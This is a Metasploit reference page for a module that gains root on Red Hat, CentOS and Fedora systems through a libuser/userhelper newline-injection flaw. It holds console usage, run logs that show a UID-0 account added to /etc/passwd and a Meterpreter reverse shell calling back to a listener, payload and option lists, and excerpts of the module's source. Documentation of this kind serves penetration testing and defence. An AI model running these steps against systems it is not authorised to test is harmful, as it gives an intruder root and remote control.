Libuser roothelper Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/libuser_roothelper_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Libuser roothelper Privilege Escalation
Module: exploit/linux/local/libuser_roothelper_priv_esc
Source code: modules/exploits/linux/local/libuser_roothelper_priv_esc.rb
Disclosure date: 2015-07-24
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-3245, CVE-2015-3246

This module is also known as roothelper.c.

This module attempts to gain root privileges on Red Hat based Linux systems, including RHEL, Fedora and CentOS, by exploiting a newline injection vulnerability in libuser and userhelper versions prior to 0.56.13-8 and version 0.60 before 0.60-7. This module makes use of the roothelper.c exploit from Qualys to insert a new user with UID=0 in /etc/passwd. Note, the password for the current user is required by userhelper. Note, on some systems, such as Fedora 11, the user entry for the current user in /etc/passwd will become corrupted and exploitation will fail. This module has been tested successfully on libuser packaged versions 0.56.13-4.el6 on CentOS 6.0 (x86_64); 0.56.13-5.el6 on CentOS 6.5 (x86_64); 0.60-5.el7 on CentOS 7.1-1503 (x86_64); 0.56.16-1.fc13 on Fedora 13 (i686); 0.59-1.fc19 on Fedora Desktop 19 (x86_64); 0.60-3.fc20 on Fedora Desktop 20 (x86_64); 0.60-6.fc21 on Fedora Desktop 21 (x86_64); 0.60-6.fc22 on Fedora Desktop 22 (x86_64); 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and 0.60-5.el7 on Red Hat 7.0 (x86_64). RHEL 5 is vulnerable, however the installed version of glibc (2.5) is missing various functions required by roothelper.c.

Module Ranking and Traits

Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/libuser_roothelper_priv_esc
msf exploit(libuser_roothelper_priv_esc) > show targets
    ... a list of targets ...
msf exploit(libuser_roothelper_priv_esc) > set TARGET target-id
msf exploit(libuser_roothelper_priv_esc) > show options
    ... show and set options ...
msf exploit(libuser_roothelper_priv_esc) > set SESSION session-id
msf exploit(libuser_roothelper_priv_esc) > exploit

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Description

This module attempts to gain root privileges on Red Hat based Linux systems, including RHEL, Fedora and CentOS, by exploiting a newline injection vulnerability in libuser and userhelper versions prior to 0.56.13-8 and version 0.60 before 0.60-7.

This module makes use of the roothelper.c exploit from Qualys to insert a new user with UID=0 in /etc/passwd.

Note, the password for the current user is required by userhelper.

Note, on some systems, such as Fedora 11, the user entry for the current user in /etc/passwd will become corrupted and exploitation will fail.

Vulnerable Application

This module has been tested successfully on libuser packaged versions:

  • 0.56.13-4.el6 on CentOS 6.0 (x86_64)
  • 0.56.13-5.el6 on CentOS 6.5 (x86_64)
  • 0.60-5.el7 on CentOS 7.1-1503 (x86_64)
  • 0.56.16-1.fc13 on Fedora 13 (i686)
  • 0.59-1.fc19 on Fedora Desktop 19 (x86_64)
  • 0.60-3.fc20 on Fedora Desktop 20 (x86_64)
  • 0.60-6.fc21 on Fedora Desktop 21 (x86_64)
  • 0.60-6.fc22 on Fedora Desktop 22 (x86_64)
  • 0.56.13-5.el6 on Red Hat 6.6 (x86_64)
  • 0.60-5.el7 on Red Hat 7.0 (x86_64)

RHEL 5 is vulnerable, however the installed version of glibc (2.5) is missing various functions required by roothelper.c.

Verification Steps

  1. Start msfconsole
  2. Get a session
  3. use exploit/linux/local/libuser_roothelper_priv_esc
  4. set SESSION [SESSION]
  5. set PASSWORD [PASSWORD]
  6. check
  7. run
  8. You should get a new root session

Options

SESSION

Which session to use, which can be viewed with sessions

PASSWORD

Password for the current user. (default: blank)

WritableDir

A writable directory file system path. (default: /tmp)

COMPILE

Options: Auto True False (default: Auto)

Whether roothelper.c should be live compiled with gcc on the target system, or uploaded as a pre-compiled binary.

Auto will first determine if gcc is installed to compile live on the system, and fall back to uploading a pre-compiled binary.

Scenarios

### libuser 0.56.13-5.el6 on Red Hat 6.6 (x86_64)

  msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
  session => 1
  msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
  password => password
  msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [*] Writing '/tmp/.QQ4pE9nj.c' (29342 bytes) ...
  [*] Launching roothelper exploit (Timeout: 180)...
  [+] Success! User 'a' added to /etc/passwd
  [*] Writing '/tmp/.SJAEHS' (207 bytes) ...
  [*] Sending stage (857352 bytes) to 172.16.191.245
  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.245:46065) at 2018-04-23 13:08:51 -0400

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : localhost.localdomain
  OS           : Red Hat Enterprise Linux 6 (Linux 2.6.32-504.el6.x86_64)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux

### libuser 0.60-5.el7 on CentOS 7.1-1503 (x86_64)

  msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
  session => 1
  msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
  password => password
  msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [*] Writing '/tmp/.Ake5GA' (103396 bytes) ...
  [*] Launching roothelper exploit (Timeout: 180)...
  [+] Success! User 'a' added to /etc/passwd
  [*] Writing '/tmp/.vbahMY' (207 bytes) ...
  [*] Sending stage (857352 bytes) to 172.16.191.242
  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.242:48332) at 2018-04-23 13:13:22 -0400

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : localhost.localdomain
  OS           : Red Hat 7.1 (Linux 3.10.0-229.el7.x86_64)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux

### libuser 0.60-6.fc21 on Fedora Desktop 21 (x86_64)

  msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
  session => 1
  msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
  password => password
  msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [*] Writing '/tmp/.ByQC9FHS.c' (29342 bytes) ...
  [*] Launching roothelper exploit (Timeout: 180)...
  [+] Success! User 'a' added to /etc/passwd
  [*] Writing '/tmp/.WnBXJkWDa' (207 bytes) ...
  [*] Sending stage (857352 bytes) to 172.16.191.240
  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.240:53201) at 2018-04-23 13:16:32 -0400

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : localhost.localdomain
  OS           : Fedora 21 (Linux 3.17.4-301.fc21.x86_64)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux

Go back to menu.

Msfconsole Usage

Here is how the linux/local/libuser_roothelper_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/libuser_roothelper_priv_esc

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show info

       Name: Libuser roothelper Privilege Escalation
     Module: exploit/linux/local/libuser_roothelper_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-07-24

Provided by:
  Qualys
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  COMPILE   Auto             yes       Compile on target (Accepted: Auto, True, False)
  PASSWORD                   yes       Password for the current user
  SESSION                    yes       The session to run this module on.

Payload information:

Description:
  This module attempts to gain root privileges on Red Hat based Linux 
  systems, including RHEL, Fedora and CentOS, by exploiting a newline 
  injection vulnerability in libuser and userhelper versions prior to 
  0.56.13-8 and version 0.60 before 0.60-7. This module makes use of 
  the roothelper.c exploit from Qualys to insert a new user with UID=0 
  in /etc/passwd. Note, the password for the current user is required 
  by userhelper. Note, on some systems, such as Fedora 11, the user 
  entry for the current user in /etc/passwd will become corrupted and 
  exploitation will fail. This module has been tested successfully on 
  libuser packaged versions 0.56.13-4.el6 on CentOS 6.0 (x86_64); 
  0.56.13-5.el6 on CentOS 6.5 (x86_64); 0.60-5.el7 on CentOS 7.1-1503 
  (x86_64); 0.56.16-1.fc13 on Fedora 13 (i686); 0.59-1.fc19 on Fedora 
  Desktop 19 (x86_64); 0.60-3.fc20 on Fedora Desktop 20 (x86_64); 
  0.60-6.fc21 on Fedora Desktop 21 (x86_64); 0.60-6.fc22 on Fedora 
  Desktop 22 (x86_64); 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and 
  0.60-5.el7 on Red Hat 7.0 (x86_64). RHEL 5 is vulnerable, however 
  the installed version of glibc (2.5) is missing various functions 
  required by roothelper.c.

References:
  https://www.exploit-db.com/exploits/37706
  https://nvd.nist.gov/vuln/detail/CVE-2015-3245
  https://nvd.nist.gov/vuln/detail/CVE-2015-3246
  http://www.securityfocus.com/bid/76021
  http://www.securityfocus.com/bid/76022
  https://seclists.org/oss-sec/2015/q3/185
  https://access.redhat.com/articles/1537873

Also known as:
  roothelper.c

Module Options

This is a complete list of options available in the linux/local/libuser_roothelper_priv_esc exploit:

msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show options

Module options (exploit/linux/local/libuser_roothelper_priv_esc):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   COMPILE   Auto             yes       Compile on target (Accepted: Auto, True, False)
   PASSWORD                   yes       Password for the current user
   SESSION                    yes       The session to run this module on.

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options

Here is a complete list of advanced options supported by the linux/local/libuser_roothelper_priv_esc exploit:

msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show advanced

Module advanced options (exploit/linux/local/libuser_roothelper_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/local/libuser_roothelper_priv_esc module can exploit:

msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/libuser_roothelper_priv_esc exploit:

msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x64/exec                                             normal  No     Linux Execute Command
   6   payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   7   payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   8   payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   9   payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   10  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   11  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   12  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   13  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   14  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   15  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   16  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   17  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   18  payload/linux/x86/adduser                                          normal  No     Linux Add User
   19  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   20  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   21  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   22  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   23  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   24  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   25  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   26  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   27  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   28  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   29  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   30  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   31  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   32  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   33  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   34  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   35  payload/linux/x86/read_file                                        normal  No     Linux Read File
   36  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   37  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   38  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   39  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   40  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   41  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   42  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   43  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   44  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   45  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   46  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   47  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   48  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   49  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options

Here is the full list of possible evasion options supported by the linux/local/libuser_roothelper_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/libuser_roothelper_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

gcc is not installed. Compiling will fail.

Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:

110:	      if has_gcc?
111:	        vprint_good 'gcc is installed'
112:	        compile = true
113:	      else
114:	        unless datastore['COMPILE'].eql? 'Auto'
115:	          fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
116:	        end
117:	      end
118:	    end
119:	
120:	    compile

<USERHELPER_PATH> is not setuid

Here is a relevant code snippet related to the "<USERHELPER_PATH> is not setuid" error message:

121:	  end
122:	
123:	  def check
124:	    userhelper_path = '/usr/sbin/userhelper'
125:	    unless setuid? userhelper_path
126:	      vprint_error "#{userhelper_path} is not setuid"
127:	      return CheckCode::Safe
128:	    end
129:	    vprint_good "#{userhelper_path} is setuid"
130:	
131:	    unless command_exists? 'script'

script is not installed. Exploitation will fail.

Here is a relevant code snippet related to the "script is not installed. Exploitation will fail." error message:

127:	      return CheckCode::Safe
128:	    end
129:	    vprint_good "#{userhelper_path} is setuid"
130:	
131:	    unless command_exists? 'script'
132:	      vprint_error "script is not installed. Exploitation will fail."
133:	      return CheckCode::Safe
134:	    end
135:	    vprint_good 'script is installed'
136:	
137:	    if immutable?('/etc/passwd')

File /etc/passwd is immutable

Here is a relevant code snippet related to the "File /etc/passwd is immutable" error message:

133:	      return CheckCode::Safe
134:	    end
135:	    vprint_good 'script is installed'
136:	
137:	    if immutable?('/etc/passwd')
138:	      vprint_error 'File /etc/passwd is immutable'
139:	      return CheckCode::Safe
140:	    end
141:	    vprint_good 'File /etc/passwd is not immutable'
142:	
143:	    glibc_banner = cmd_exec 'ldd --version'

Could not determine the GNU C library version

Here is a relevant code snippet related to the "Could not determine the GNU C library version" error message:

141:	    vprint_good 'File /etc/passwd is not immutable'
142:	
143:	    glibc_banner = cmd_exec 'ldd --version'
144:	    glibc_version = Rex::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
145:	    if glibc_version.to_s.eql? ''
146:	      vprint_error 'Could not determine the GNU C library version'
147:	      return CheckCode::Detected
148:	    end
149:	
150:	    # roothelper.c requires functions only available since glibc 2.6+
151:	    if glibc_version < Rex::Version.new('2.6')

GNU C Library version <GLIBC_VERSION> is not supported

Here is a relevant code snippet related to the "GNU C Library version <GLIBC_VERSION> is not supported" error message:

147:	      return CheckCode::Detected
148:	    end
149:	
150:	    # roothelper.c requires functions only available since glibc 2.6+
151:	    if glibc_version < Rex::Version.new('2.6')
152:	      vprint_error "GNU C Library version #{glibc_version} is not supported"
153:	      return CheckCode::Safe
154:	    end
155:	    vprint_good "GNU C Library version #{glibc_version} is supported"
156:	
157:	    CheckCode::Detected

Session already has root privileges. Set ForceExploit to override.

Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

158:	  end
159:	
160:	  def exploit
161:	    if is_root?
162:	      unless datastore['ForceExploit']
163:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
164:	      end
165:	    end
166:	
167:	    unless writable? base_dir
168:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"

<BASE_DIR> is not writable

Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

163:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
164:	      end
165:	    end
166:	
167:	    unless writable? base_dir
168:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
169:	    end
170:	
171:	    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
172:	    executable_path = "#{base_dir}/#{executable_name}"
173:

<EXECUTABLE_PATH>.c failed to compile

Here is a relevant code snippet related to the "<EXECUTABLE_PATH>.c failed to compile" error message:

183:	      upload "#{executable_path}.c", c_code
184:	      output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"
185:	
186:	      unless output.blank?
187:	        print_error output
188:	        fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
189:	      end
190:	
191:	      cmd_exec "chmod +x #{executable_path}"
192:	      register_file_for_cleanup executable_path
193:	    else

Incorrect password

Here is a relevant code snippet related to the "Incorrect password" error message:

211:	    if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
212:	      register_file_for_cleanup $1
213:	    end
214:	
215:	    if output =~ /died in parent: .*.c:517: forkstop_userhelper/
216:	      fail_with Failure::NoAccess, 'Incorrect password'
217:	    end
218:	
219:	    @username = nil
220:	
221:	    if output =~ /Exploit successful, run "su ([a-z])" to become root/

Something went wrong

Here is a relevant code snippet related to the "Something went wrong" error message:

221:	    if output =~ /Exploit successful, run "su ([a-z])" to become root/
222:	      @username = $1
223:	    end
224:	
225:	    if @username.blank?
226:	      fail_with Failure::Unknown, 'Something went wrong'
227:	    end
228:	
229:	    print_good "Success! User '#{@username}' added to /etc/passwd"
230:	
231:	    # Upload payload executable

Could not remove user '<USERNAME>' from /etc/passwd

Here is a relevant code snippet related to the "Could not remove user '<USERNAME>' from /etc/passwd" error message:

268:	        new_user_removed = true
269:	      end
270:	    end
271:	
272:	    unless new_user_removed
273:	      print_warning "Could not remove user '#{@username}' from /etc/passwd"
274:	    end
275:	  rescue => e
276:	    print_error "Error during cleanup: #{e.message}"
277:	  ensure
278:	    super

Error during cleanup: <E.MESSAGE>

Here is a relevant code snippet related to the "Error during cleanup: <E.MESSAGE>" error message:

270:	    end
271:	
272:	    unless new_user_removed
273:	      print_warning "Could not remove user '#{@username}' from /etc/passwd"
274:	    end
275:	  rescue => e
276:	    print_error "Error during cleanup: #{e.message}"
277:	  ensure
278:	    super
279:	  end
280:	end

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References

See Also

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Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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